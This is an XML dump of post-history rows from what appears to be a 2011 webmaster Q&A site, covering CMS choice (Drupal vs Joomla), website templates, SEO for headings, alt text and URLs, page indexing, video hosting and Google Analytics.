  <row Id="25949" PostHistoryTypeId="5" PostId="11465" RevisionGUID="547c131f-e3c3-4b7c-b126-a2c95f31bb91" CreationDate="2011-03-31T18:23:51.463" UserId="3659" Comment="Added 2 links" Text="Your question is rather broad so I will try to make it as simple as possible.&#xD;&#xA;&#xD;&#xA;The best place for a website template largely depends on the kind of website you are aiming for and what framework you will be using. This should be your first step, especially as websites that offer themes an/or templates are often specialized in or focussed on a specific framework such as: [Joomla][1] (best for websites), [Drupal][2], [Wordpress][3] (best for blogs), [Magento][4] (best for e-commerce / webshops) or self written (where you do all the coding yourself).&#xD;&#xA;&#xD;&#xA;Website templates are becoming more and more sophisticated based on new framework developments and improvement of available technology. Please make sure that in case you are opting for a solution other than doing the coding yourself you would want to select one that is open-source and has a thriving community behind it.&#xD;&#xA;&#xD;&#xA;When it comes to the templates I have summed up the major option above and I will give you some recommendations for each of them:&#xD;&#xA;&#xD;&#xA;**Joomla**&#xD;&#xA; - [Rocket Theme][5]&#xD;&#xA; - [Gavick Pro][6]&#xD;&#xA; - [Yoo Theme][7]&#xD;&#xA;&#xD;&#xA;**Drupal**&#xD;&#xA;  - [Theme Shark][8]&#xD;&#xA;&#xD;&#xA;**Wordpress**&#xD;&#xA; - [Elegant Themes][9]&#xD;&#xA; - [Press 75][10]&#xD;&#xA; - [Woo Themes][11]&#xD;&#xA;&#xD;&#xA;**Magento**&#xD;&#xA; - [EM Themes][12]&#xD;&#xA;&#xD;&#xA;**Self written**&#xD;&#xA; - [Template World][13]&#xD;&#xA; - [Style Shout][14]&#xD;&#xA;&#xD;&#xA;Please note: These are my personal recommendations and there are many others out there.&#xD;&#xA;&#xD;&#xA;Obviously free themes are offered and for some purposes these are just fine. However, in most cases paying the $30,- to $80,- is money well spend. Quality XHTML / CSS, splendid designs, fast page loading, built in tools, widgets and plugins, support etc etc. So that would be a point that might be worth reconsidering...&#xD;&#xA;&#xD;&#xA;For the rest. Enjoy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joomla.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://wordpress.org/&#xD;&#xA;  [4]: http://www.magentocommerce.com/&#xD;&#xA;  [5]: http://www.rockettheme.com/&#xD;&#xA;  [6]: http://www.gavick.com/&#xD;&#xA;  [7]: http://yootheme.com/&#xD;&#xA;  [8]: http://www.themeshark.com/&#xD;&#xA;  [9]: http://www.elegantthemes.com/%5C&#xD;&#xA;  [10]: http://www.press75.com/&#xD;&#xA;  [11]: http://www.woothemes.com/&#xD;&#xA;  [12]: http://www.emthemes.com/&#xD;&#xA;  [13]: http://www.templateworld.com/&#xD;&#xA;  [14]: http://www.styleshout.com/" />
  <row Id="25953" PostHistoryTypeId="2" PostId="11467" RevisionGUID="151ad98c-ad28-42f9-ab93-03157b3f16dd" CreationDate="2011-03-31T19:05:01.213" UserId="6478" Text="I have to renew a website for a sport club. There is some self programmed CMS in use at this time. But I need a new solution. A popular CMS that could be up to date over the next 3 or 4 years.&#xD;&#xA;&#xD;&#xA;I took a look at Drupal 7. Not sure about whether it's easy possible to create member profiles (they should be able to edit them self), a board and team overviews. Would be cool you'll share the link of a tutorial for this needs if you have one. *Or...*&#xD;&#xA;&#xD;&#xA;**Any suggestions for a good CMS with my needs?**&#xD;&#xA;" />
  <row Id="25954" PostHistoryTypeId="1" PostId="11467" RevisionGUID="151ad98c-ad28-42f9-ab93-03157b3f16dd" CreationDate="2011-03-31T19:05:01.213" UserId="6478" Text="What is a good CMS for sport clubs?" />
  <row Id="25955" PostHistoryTypeId="3" PostId="11467" RevisionGUID="151ad98c-ad28-42f9-ab93-03157b3f16dd" CreationDate="2011-03-31T19:05:01.213" UserId="6478" Text="&lt;cms&gt;&lt;forum&gt;" />
  <row Id="25959" PostHistoryTypeId="6" PostId="11467" RevisionGUID="310f0415-3129-4737-a95b-cecd12eccf8c" CreationDate="2011-03-31T19:07:55.170" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;forum&gt;&lt;looking-for-a-script&gt;" />
  <row Id="25960" PostHistoryTypeId="2" PostId="11468" RevisionGUID="95f9355d-2084-4e71-a391-836c367e61b6" CreationDate="2011-03-31T19:17:41.877" UserId="6355" Text="It would help if you describe what is the core first. I mean what are the main benefits the user will get from this website. Is it a news site? A shop? A social network? A video site?&#xD;&#xA;&#xD;&#xA;Drupal could be a solution as it's extensible and there's already many modules available. And yes users can create and edit their own profiles in Drupal." />
  <row Id="25961" PostHistoryTypeId="2" PostId="11469" RevisionGUID="ae80b5df-7e99-4e27-8e73-0211ccc320a9" CreationDate="2011-03-31T19:57:47.127" UserId="6282" Text="Why not offer an OpenID login to allow your visitors to authenticate using their Google or Yahoo! (or StackExchange) accounts?  Or perhaps integrate Facebook login, if your site is more socially based.&#xD;&#xA;&#xD;&#xA;If it's just a personal site, I'd allow anonymous posting, otherwise people are unlikely to bother with the hassle of setting up an account.  Use [Recaptcha][1] (or similar) to cut out the spam.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha" />
  <row Id="25963" PostHistoryTypeId="5" PostId="11413" RevisionGUID="d6675df1-1fcc-4eba-b78a-7ec65ac86774" CreationDate="2011-03-31T20:42:18.310" UserId="1253" Comment="added 469 characters in body" Text="I have my domain (http://www.foobar.com, for example) and my website talks about technology. I want to have another website (with other content, not about technology) inside of it (http://www.foobar.com/loremipsum). I can find http://www.foobar.com in Google Search, but http://www.foobar.com/loremipsum no ... What should I do to index this website? Thank you.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;My main site (http://www.foobar.com/, a wordpress instalation) has an .httaccess:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^index\.php$ - [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;Does it affect the index of http://www.foobar.com/loremipsum ?&#xD;&#xA;Thank you." />
  <row Id="25965" PostHistoryTypeId="5" PostId="11414" RevisionGUID="0ddfe05a-5d67-4707-b95e-93740a9bd923" CreationDate="2011-03-31T20:43:42.490" UserId="1253" Comment="added 73 characters in body" Text="1) [Submit the main page to Google directly][1]&#xD;&#xA;&#xD;&#xA;2) Submit an [XML sitemap][2]&#xD;&#xA;&#xD;&#xA;3) Link to those inner pages from anywhere. The main website or any other external website will do.&#xD;&#xA;&#xD;&#xA;FYI, ideally you'll get a second domain name for that website. It will give you more SEO opportunities and make it clearer to users that these are two separate websites.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [2]: http://sitemaps.org/&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;That will have no effect on the indexing of those pages" />
  <row Id="25966" PostHistoryTypeId="2" PostId="11471" RevisionGUID="81d002c1-5fbf-469e-83b6-b48f03c64fe1" CreationDate="2011-03-31T20:57:19.003" UserId="5847" Text="If you're looking for an easy CMS go with Joomla. If you're looking for heavy customizability go with Drupal. &#xD;&#xA;&#xD;&#xA;**DRUPAL VS JOOMLA** - Key Pros and Cons&#xD;&#xA; &#xD;&#xA;Drupal &#xD;&#xA;&#xD;&#xA; * Rock solid &amp; high quality platform&#xD;&#xA; * Real multi-site-feature (only one installation for several sites)&#xD;&#xA; * Any Kind of user groups &amp; user permissions, OpenId compliant in Version 6&#xD;&#xA; * Can run membership and community sites, not only CMS etc&#xD;&#xA; * Powerful templating system. Any XHTML or CSS template can be easily converted to Drupal.&#xD;&#xA; * Drupal needs a little time investment to realize all the huge possibilities of Drupal&#xD;&#xA; * Clear, high quality code and API (easy to integrate with other solutions etc)&#xD;&#xA; * Flexibility and no known limitations&#xD;&#xA; * Many high profile sites use Drupal (e.g.: MTV UK, BBC, the Onion, Nasa, Greenpeace UK, New york observer. )&#xD;&#xA; &#xD;&#xA;Joomla&#xD;&#xA;&#xD;&#xA; * If you are not techy its good to start&#xD;&#xA; * Easy install &amp; setup with your mouse&#xD;&#xA; * Easy learning curve&#xD;&#xA; * Cannot integrate other scripts etc. to your site&#xD;&#xA; * Generally you cannot create high-end sites, without investing huge amount&#xD;&#xA; * No SEO out of the box, URLs are not search engine friendly.&#xD;&#xA; * Server resources utilization is more compared to drupal&#xD;&#xA; * Only one site per installation&#xD;&#xA; * No Single Log-in to several sites&#xD;&#xA; * No User groups &amp; permissions&#xD;&#xA; * More intuitive administration user interface&#xD;&#xA; * Some polished modules for things like calendars, polls, etc.&#xD;&#xA; * Modules cost you money&#xD;&#xA; &#xD;&#xA;System Requirements: &#xD;&#xA;&#xD;&#xA; - Drupal can work with MySQL and Postgres while Joomla is known to support only MySQL&#xD;&#xA; - Drupal can work with Apache or IIS while Joomla is known to support only Apache&#xD;&#xA; - Joomla support SSL logins and SSL pages. Drupal not known to support it. &#xD;&#xA;&#xD;&#xA;Site Management &#xD;&#xA;&#xD;&#xA; - Drupal has free add on for Workflow management. Joomla not known to have one.&#xD;&#xA; - Drupal has inbuilt Translation manager. Joomla has a Free ad on for the same&#xD;&#xA; - Drupal has more   granular priviledge managment&#xD;&#xA; &#xD;&#xA;Interoperability: &#xD;&#xA;&#xD;&#xA; - Drupal has iCal support [Add on] , Joomla not known to have one.&#xD;&#xA; - Drupal is XHTML Complaint. Joomla not known to be one.&#xD;&#xA; - Drupal has excellent versioning and Audit trail which Joomla lacks&#xD;&#xA; &#xD;&#xA;If you are still not satisfied, I suggest you read the following&#xD;&#xA;&#xD;&#xA;- [Joomla.org's Drupal vs Joomla Comparison][1]&#xD;&#xA;- [Communicopia's Drupal vs Joomla Comparison][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.joomla.org/viewtopic.php?t=4364&#xD;&#xA;  [2]: http://communicopia.com/insights/joomla-versus-drupal" />
  <row Id="25967" PostHistoryTypeId="25" PostId="11467" RevisionGUID="1262bb29-c90e-4335-ae80-a678120dc198" CreationDate="2011-03-31T21:00:22.597" Comment="http://twitter.com/#!/StackWebmasters/status/53562302007476224" />
  <row Id="25968" PostHistoryTypeId="5" PostId="11471" RevisionGUID="c706ea90-f75b-427e-a973-a8b3d0da27a8" CreationDate="2011-03-31T21:04:37.780" UserId="5847" Comment="added 298 characters in body; added 2 characters in body" Text="If you're looking for an easy CMS go with Joomla. If you're looking for heavy customizability go with Drupal. &#xD;&#xA;&#xD;&#xA;- [Creating Member Profiles Extension Tutorial in Joomla][1]&#xD;&#xA;- [Creating Member Profiles Tutorial in Drupal][2]&#xD;&#xA;&#xD;&#xA;**DRUPAL VS JOOMLA** - Key Pros and Cons&#xD;&#xA; &#xD;&#xA;Drupal &#xD;&#xA;&#xD;&#xA; * Rock solid &amp; high quality platform&#xD;&#xA; * Real multi-site-feature (only one installation for several sites)&#xD;&#xA; * Any Kind of user groups &amp; user permissions, OpenId compliant in Version 6&#xD;&#xA; * Can run membership and community sites, not only CMS etc&#xD;&#xA; * Powerful templating system. Any XHTML or CSS template can be easily converted to Drupal.&#xD;&#xA; * Drupal needs a little time investment to realize all the huge possibilities of Drupal&#xD;&#xA; * Clear, high quality code and API (easy to integrate with other solutions etc)&#xD;&#xA; * Flexibility and no known limitations&#xD;&#xA; * Many high profile sites use Drupal (e.g.: MTV UK, BBC, the Onion, Nasa, Greenpeace UK, New york observer. )&#xD;&#xA; &#xD;&#xA;Joomla&#xD;&#xA;&#xD;&#xA; * If you are not techy its good to start&#xD;&#xA; * Easy install &amp; setup with your mouse&#xD;&#xA; * Easy learning curve&#xD;&#xA; * Cannot integrate other scripts etc. to your site&#xD;&#xA; * Generally you cannot create high-end sites, without investing huge amount&#xD;&#xA; * No SEO out of the box, URLs are not search engine friendly.&#xD;&#xA; * Server resources utilization is more compared to drupal&#xD;&#xA; * Only one site per installation&#xD;&#xA; * No Single Log-in to several sites&#xD;&#xA; * No User groups &amp; permissions&#xD;&#xA; * More intuitive administration user interface&#xD;&#xA; * Some polished modules for things like calendars, polls, etc.&#xD;&#xA; * Modules cost you money&#xD;&#xA; &#xD;&#xA;System Requirements: &#xD;&#xA;&#xD;&#xA; - Drupal can work with MySQL and Postgres while Joomla is known to support only MySQL&#xD;&#xA; - Drupal can work with Apache or IIS while Joomla is known to support only Apache&#xD;&#xA; - Joomla support SSL logins and SSL pages. Drupal not known to support it. &#xD;&#xA;&#xD;&#xA;Site Management &#xD;&#xA;&#xD;&#xA; - Drupal has free add on for Workflow management. Joomla not known to have one.&#xD;&#xA; - Drupal has inbuilt Translation manager. Joomla has a Free ad on for the same&#xD;&#xA; - Drupal has more   granular priviledge managment&#xD;&#xA; &#xD;&#xA;Interoperability: &#xD;&#xA;&#xD;&#xA; - Drupal has iCal support [Add on] , Joomla not known to have one.&#xD;&#xA; - Drupal is XHTML Complaint. Joomla not known to be one.&#xD;&#xA; - Drupal has excellent versioning and Audit trail which Joomla lacks&#xD;&#xA; &#xD;&#xA;If you are still not satisfied, I suggest you read the following&#xD;&#xA;&#xD;&#xA;- [Joomla.org's Drupal vs Joomla Comparison][3]&#xD;&#xA;- [Communicopia's Drupal vs Joomla Comparison][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://extensions.joomla.org/extensions/extension-specific/community-builder-extensions/community-builder-profiles/8087&#xD;&#xA;  [2]: http://drupal.org/documentation/modules/profile&#xD;&#xA;  [3]: http://forum.joomla.org/viewtopic.php?t=4364&#xD;&#xA;  [4]: http://communicopia.com/insights/joomla-versus-drupal" />
  <row Id="25969" PostHistoryTypeId="2" PostId="11472" RevisionGUID="0d2bac9a-453d-46c2-b053-514cf2ed369d" CreationDate="2011-03-31T15:43:25.077" UserDisplayName="Ernest" Text="i have a client that wants to make a music store, from which you can donwload a track for a price, or buy a new cd to be shipped, users should be able to have a preview of a track too!. &#xD;&#xA;&#xD;&#xA;Was considering prestashop, was wondering if someone had a suggestion on this. Thank you!" />
  <row Id="25970" PostHistoryTypeId="1" PostId="11472" RevisionGUID="0d2bac9a-453d-46c2-b053-514cf2ed369d" CreationDate="2011-03-31T15:43:25.077" UserDisplayName="Ernest" Text="music ecommerce shop ?" />
  <row Id="25971" PostHistoryTypeId="3" PostId="11472" RevisionGUID="0d2bac9a-453d-46c2-b053-514cf2ed369d" CreationDate="2011-03-31T15:43:25.077" UserDisplayName="Ernest" Text="&lt;ecommerce&gt;&lt;music&gt;" />
  <row Id="25972" PostHistoryTypeId="17" PostId="11472" RevisionGUID="0b2577f9-0a48-4dd8-85bc-d9be8d368b91" CreationDate="2011-03-31T21:33:28.997" UserId="-1" Comment="from http://stackoverflow.com/questions/5502542/music-ecommerce-shop" Text="" />
  <row Id="25973" PostHistoryTypeId="25" PostId="11462" RevisionGUID="dcbce049-b203-4082-ba02-ca693c32b94d" CreationDate="2011-04-01T00:00:22.797" Comment="http://twitter.com/#!/StackWebmasters/status/53607601086275585" />
  <row Id="25974" PostHistoryTypeId="2" PostId="11473" RevisionGUID="12390d49-c080-4894-bb32-a22e66c7aaa8" CreationDate="2011-04-01T00:24:32.477" UserId="4882" Text="does anyone know how I can get SSL/HTTPS to work on kodingen? whenever i access the https:// version of my site, it shows something from Parallels .... and Plesk...." />
  <row Id="25975" PostHistoryTypeId="1" PostId="11473" RevisionGUID="12390d49-c080-4894-bb32-a22e66c7aaa8" CreationDate="2011-04-01T00:24:32.477" UserId="4882" Text="kodingen and SSL" />
  <row Id="25976" PostHistoryTypeId="3" PostId="11473" RevisionGUID="12390d49-c080-4894-bb32-a22e66c7aaa8" CreationDate="2011-04-01T00:24:32.477" UserId="4882" Text="&lt;web-development&gt;&lt;ssl&gt;&lt;webserver&gt;" />
  <row Id="25977" PostHistoryTypeId="6" PostId="11472" RevisionGUID="dbe96744-2c20-43ef-9f6d-b57211688da7" CreationDate="2011-04-01T00:47:47.317" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;ecommerce&gt;&lt;looking-for-a-script&gt;&lt;music&gt;" />
  <row Id="25978" PostHistoryTypeId="2" PostId="11474" RevisionGUID="dc18b6bb-8027-4850-8a2c-afe99b0a7c2a" CreationDate="2011-04-01T01:16:11.307" UserId="823" Text="I have a slogan on my home page that will not appear in text anywhere else. The problem is part of the slogan needs to be an image, for design requirements. Normally I would want to put this slogan in an `H1` header and the title. &#xD;&#xA;&#xD;&#xA;Question is whether or not this image will hurt my content indexing by search engines, and if an `alt` tag is an adequate alternative.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="25979" PostHistoryTypeId="1" PostId="11474" RevisionGUID="dc18b6bb-8027-4850-8a2c-afe99b0a7c2a" CreationDate="2011-04-01T01:16:11.307" UserId="823" Text="Alt tag suitable replacement for cricial text?" />
  <row Id="25980" PostHistoryTypeId="3" PostId="11474" RevisionGUID="dc18b6bb-8027-4850-8a2c-afe99b0a7c2a" CreationDate="2011-04-01T01:16:11.307" UserId="823" Text="&lt;seo&gt;" />
  <row Id="25981" PostHistoryTypeId="4" PostId="11474" RevisionGUID="880cb4e1-579c-43a3-8990-fa61aee711f8" CreationDate="2011-04-01T01:23:21.550" UserId="823" Comment="edited title" Text="Alt tag suitable replacement for critical text?" />
  <row Id="25982" PostHistoryTypeId="2" PostId="11475" RevisionGUID="462a6564-6ad9-41bf-b31e-8b2330ec5468" CreationDate="2011-04-01T01:42:44.567" UserId="4461" Text=" 1. Normally you **shouldn't** put your brand/logo as part of the `H1` (but I assume that if you're referring *just* the homepage then it could be OK)&#xD;&#xA; 2. You **should** use ALTernate text (not a *tag*) for the image&#xD;&#xA; 3. Search Engines give little extra emphasis to weighting to `Hx` tags, they are treated similar to `&lt;em&gt;`, `&lt;strong&gt;` etc and are contextually weighted anyway (by position on page and proximity to other text)&#xD;&#xA;&#xD;&#xA;The simple rule is, turn off images (replace images with ALTernate text) and view the page holistically - does it flow, read well and make sense. If it does, then you're on the right track. Don't get into SEO analysis-paralysis. Off-page factors are way more important than seeking perfection in small on-page matters..." />
  <row Id="25983" PostHistoryTypeId="2" PostId="11476" RevisionGUID="2f5b3462-25bc-4e0e-a244-cf42873e355d" CreationDate="2011-04-01T02:29:54.413" UserId="6482" Text="i have h2 and h5 headings with generic names here NSFW: http://wp.me/1dfs6 such as 'editor picks' 'tags' 'all articles' would it be better for seo to give them unique and almost playful names with keywords?" />
  <row Id="25984" PostHistoryTypeId="1" PostId="11476" RevisionGUID="2f5b3462-25bc-4e0e-a244-cf42873e355d" CreationDate="2011-04-01T02:29:54.413" UserId="6482" Text="SEO Heading Tags" />
  <row Id="25985" PostHistoryTypeId="3" PostId="11476" RevisionGUID="2f5b3462-25bc-4e0e-a244-cf42873e355d" CreationDate="2011-04-01T02:29:54.413" UserId="6482" Text="&lt;seo&gt;" />
  <row Id="25986" PostHistoryTypeId="17" PostId="11478" RevisionGUID="2ab50ac5-dddc-44ea-83b0-b7f271960b7c" CreationDate="2011-04-01T02:50:58.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5508550/being-at-googles-mercy-a-tool-for-webmasters/5508575#5508575" Text="" />
  <row Id="25987" PostHistoryTypeId="2" PostId="11478" RevisionGUID="9030a2d8-90ce-47de-aa6a-12e79b7e0399" CreationDate="2011-04-01T02:30:37.067" UserDisplayName="ach_l" Text="What about Google Webmaster Tools: http://www.google.com/webmasters/tools/&#xD;&#xA;&#xD;&#xA;Once you verify that you're the proper owner of the site, it gives a bunch of information about how well your site is indexed, ranked, if there were errors with the crawling, etc. &#xD;&#xA;" />
  <row Id="25988" PostHistoryTypeId="2" PostId="11477" RevisionGUID="96926401-eb86-472e-9f4f-b53570a22a65" CreationDate="2011-04-01T02:24:51.717" UserDisplayName="DannyMichel" Text="you know what i would love? a tool by Google that tells you what they think of your site. if you're doing anything wrong that they are punishing you for or something. does such a tool exist?" />
  <row Id="25989" PostHistoryTypeId="1" PostId="11477" RevisionGUID="96926401-eb86-472e-9f4f-b53570a22a65" CreationDate="2011-04-01T02:24:51.717" UserDisplayName="DannyMichel" Text="Being at Google's Mercy: A Tool for Webmasters" />
  <row Id="25990" PostHistoryTypeId="3" PostId="11477" RevisionGUID="96926401-eb86-472e-9f4f-b53570a22a65" CreationDate="2011-04-01T02:24:51.717" UserDisplayName="DannyMichel" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="25991" PostHistoryTypeId="17" PostId="11477" RevisionGUID="5526938b-9c7e-4c37-bc5e-2110d9db6fe3" CreationDate="2011-04-01T02:50:58.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5508550/being-at-googles-mercy-a-tool-for-webmasters" Text="" />
  <row Id="25992" PostHistoryTypeId="25" PostId="11477" RevisionGUID="b9109dc6-c768-43b1-b15c-8bdaac5748f0" CreationDate="2011-04-01T03:00:22.957" Comment="http://twitter.com/#!/StackWebmasters/status/53652900232171522" />
  <row Id="25993" PostHistoryTypeId="2" PostId="11479" RevisionGUID="5bf238ad-d516-4e64-871f-0a26d1be2709" CreationDate="2011-04-01T03:34:06.473" UserId="6467" Text="They punish people for trying to game the system. Just make a good website, try to be the best at what you do, be consistent in your publishing and Google will reward you. &#xD;&#xA;&#xD;&#xA;Getting good traffic to a website is not hard. Getting them to buy is hard. " />
  <row Id="25994" PostHistoryTypeId="2" PostId="11480" RevisionGUID="b896b063-4243-4e32-ad2c-5704559152b4" CreationDate="2011-04-01T04:19:46.147" UserId="6484" Text="i have some videos- flash that i want to host on my blog. should i use Amazon S3 or can i host it using my hostgator account. any ideas" />
  <row Id="25995" PostHistoryTypeId="1" PostId="11480" RevisionGUID="b896b063-4243-4e32-ad2c-5704559152b4" CreationDate="2011-04-01T04:19:46.147" UserId="6484" Text="why host video on Amazon S3 instead of hostgator" />
  <row Id="25996" PostHistoryTypeId="3" PostId="11480" RevisionGUID="b896b063-4243-4e32-ad2c-5704559152b4" CreationDate="2011-04-01T04:19:46.147" UserId="6484" Text="&lt;amazon-s3&gt;" />
  <row Id="25997" PostHistoryTypeId="2" PostId="11481" RevisionGUID="173308ec-adb0-4d1b-9e0a-38df6dbac525" CreationDate="2011-04-01T05:56:53.170" UserId="4306" Text="The outline of your current home page is as follows (Web Developer Toolbar &gt; Information &gt; View document outline):&#xD;&#xA;&#xD;&#xA;#Tattoos in New York#&#xD;&#xA;##&amp;nbsp;Editor Picks##&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Video: Photo Shoot with Sharon TK, Johannie &amp; Jess Versus###&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Video: Photoshoot and Interview with Athena Fatale&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Video: Our Interview and Photo Shoot with Sara Blake&#xD;&#xA;##&amp;nbsp;All Articles&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;NY Ink on TLC&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Tattoo Artist Jess Versus&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Dr. Lakra: Sex and Violence in SoHo&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;Tattoo Artist Stefano Alcantara&#xD;&#xA;###&amp;nbsp;&amp;nbsp;&amp;nbsp;The Photographic Art of l’un des nombreux&#xD;&#xA;####&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Network&lt;br/&gt;&#xD;&#xA;####&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Popular Tags&lt;br/&gt;&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;It's reasonably well constructed and I wouldn't fiddle with it too much. &#xD;&#xA;&#xD;&#xA;But, some thoughts:&#xD;&#xA;&#xD;&#xA;* It won't hurt to add keywords to the H2s - something like 'All NY Tattoo Articles' would be fine&#xD;&#xA;* However, don't obscure the meaning of the sections with overly playful names&#xD;&#xA;* Your site name 'NY Body Art | New York Tattoo Culture' is **not** wrapped in a H1&#xD;&#xA;* The H1 'Tattoos in New York' - could be considered cloaking&#xD;&#xA;* Your category links, e.g. 'Artists', in the article listings all link to the home page instead of the correct category&#xD;&#xA;* And the category link titles are all 'Category Name'&#xD;&#xA;" />
  <row Id="25998" PostHistoryTypeId="25" PostId="11474" RevisionGUID="5ca7a887-d488-4853-acf8-003398fab9b9" CreationDate="2011-04-01T06:00:22.737" Comment="http://twitter.com/#!/StackWebmasters/status/53698198002335744" />
  <row Id="25999" PostHistoryTypeId="17" PostId="11483" RevisionGUID="99f3756b-6aeb-4584-a3df-1a0dd73a6ccd" CreationDate="2011-04-01T07:02:24.477" UserId="-1" Comment="from http://stackoverflow.com/questions/5510039/is-it-okay-to-use-persian-utf-8-characters-in-our-urls/5510080#5510080" Text="" />
  <row Id="26000" PostHistoryTypeId="17" PostId="11484" RevisionGUID="dedbddd4-3c88-4f3d-bc9b-6276f7150b6d" CreationDate="2011-04-01T07:02:24.477" UserId="-1" Comment="from http://stackoverflow.com/questions/5510039/is-it-okay-to-use-persian-utf-8-characters-in-our-urls/5510105#5510105" Text="" />
  <row Id="26001" PostHistoryTypeId="2" PostId="11483" RevisionGUID="4e17abee-7534-4f2c-bcec-9ee37f0ed021" CreationDate="2011-04-01T06:57:10.657" UserId="9908" UserDisplayName="Pleun" Text="No, it is not. Officially you have to URL-encode them.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Percent-encoding&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am not sure how far the implementation of IRI &#xD;&#xA;http://en.wikipedia.org/wiki/Internationalized_Resource_Identifier is, &#xD;&#xA;It may work in reality, but I have ran into all kind of trouble with Russian characters in URL's and query strings so I got rid of them. " />
  <row Id="26002" PostHistoryTypeId="2" PostId="11484" RevisionGUID="6843267c-2a09-48c6-9aef-0f211cb639ee" CreationDate="2011-04-01T06:59:51.593" UserDisplayName="spong" Text="Short answer: not if you want to follow the rules.&#xD;&#xA;&#xD;&#xA;[RFC 1738][1] describes the required encoding and the rationale in section 2.2:&#xD;&#xA;&#xD;&#xA;&gt; Thus, only alphanumerics, the special&#xD;&#xA;&gt; characters &quot;$-_.+!*'(),&quot;, and reserved&#xD;&#xA;&gt; characters used for their reserved&#xD;&#xA;&gt; purposes may be used unencoded within&#xD;&#xA;&gt; a URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rfc-editor.org/rfc/rfc1738.txt" />
  <row Id="26003" PostHistoryTypeId="2" PostId="11482" RevisionGUID="66ec3889-0f83-4773-b65b-a120601ce55c" CreationDate="2011-04-01T06:50:25.917" UserDisplayName="EBAG" Text="It's best for SEO purposes that we use the main page keywords in our urls&#xD;&#xA;For example stackoverflow uses this technique too.&#xD;&#xA;&#xD;&#xA;    http://stackoverflow.com/questions/show-utf8-characters-in-console&#xD;&#xA;&#xD;&#xA;I wonder if it's okay to use something like:&#xD;&#xA;&#xD;&#xA;    http://www.mobadele.com/categories/طلا-نفره&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26004" PostHistoryTypeId="1" PostId="11482" RevisionGUID="66ec3889-0f83-4773-b65b-a120601ce55c" CreationDate="2011-04-01T06:50:25.917" UserDisplayName="EBAG" Text="Is it okay to use persian utf-8 characters in our urls?" />
  <row Id="26005" PostHistoryTypeId="3" PostId="11482" RevisionGUID="66ec3889-0f83-4773-b65b-a120601ce55c" CreationDate="2011-04-01T06:50:25.917" UserDisplayName="EBAG" Text="&lt;url&gt;&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="26006" PostHistoryTypeId="17" PostId="11482" RevisionGUID="7a6e1ab9-6dc6-407b-b07c-ae4bb35dc7a3" CreationDate="2011-04-01T07:02:24.477" UserId="-1" Comment="from http://stackoverflow.com/questions/5510039/is-it-okay-to-use-persian-utf-8-characters-in-our-urls" Text="" />
  <row Id="26007" PostHistoryTypeId="2" PostId="11485" RevisionGUID="0e68f011-d874-4c77-9d92-4a9d0238027a" CreationDate="2011-04-01T07:04:12.287" UserId="5026" Text="I have multiple sites tracked in my profile - they each using different tracking ids of course.&#xD;&#xA;&#xD;&#xA;However, one of my sites reports being visited by searchers using keywords completely unrelated by that site, but related to another site in my profile.  It also shows pages that are most accessed which are not on the website in question, but on the other website.&#xD;&#xA;&#xD;&#xA;I have had a look at the tracking code in the head, and it is the correct code displayed by GA.&#xD;&#xA;&#xD;&#xA;What is going on?" />
  <row Id="26008" PostHistoryTypeId="1" PostId="11485" RevisionGUID="0e68f011-d874-4c77-9d92-4a9d0238027a" CreationDate="2011-04-01T07:04:12.287" UserId="5026" Text="Google Analytics tracking the wrong site." />
  <row Id="26009" PostHistoryTypeId="3" PostId="11485" RevisionGUID="0e68f011-d874-4c77-9d92-4a9d0238027a" CreationDate="2011-04-01T07:04:12.287" UserId="5026" Text="&lt;google&gt;&lt;google-analytics&gt;" />
